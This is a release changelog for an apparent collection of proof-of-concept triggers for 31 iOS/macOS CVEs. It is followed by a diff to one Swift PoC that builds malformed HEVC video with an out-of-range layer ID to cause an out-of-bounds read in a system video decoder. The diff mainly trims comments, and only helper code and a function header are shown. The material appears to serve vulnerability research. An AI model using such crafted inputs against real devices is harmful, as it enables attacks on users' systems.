v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112415/CVE-2026-112415.swift

@@ -1,19 +1,8 @@
-// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415
-// 原语: OOB 读 · 系统进程 · tier 2
-// Primitive: OOB read · system process · tier 2
-//
-// [zh] MVHEVC 层 ID 越界
-// 多层 HEVC 的 layer id 在 27.0 未做范围校验，越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
-//
-// [en] MVHEVC layer id out of range
-// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
-// into the plugin's layer table index. iOS 27.2 adds layer id validation.
-// ── 判别 / oracle ──
-// 层 ID 取 0x3F（有效范围之外）。
-
+// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
+// MVHEVC layer id out of range
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
+// ── seed construction (from Cinder27 Sources: VideoPayload) ──
 enum VideoPayload {
 static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
         var out = Data()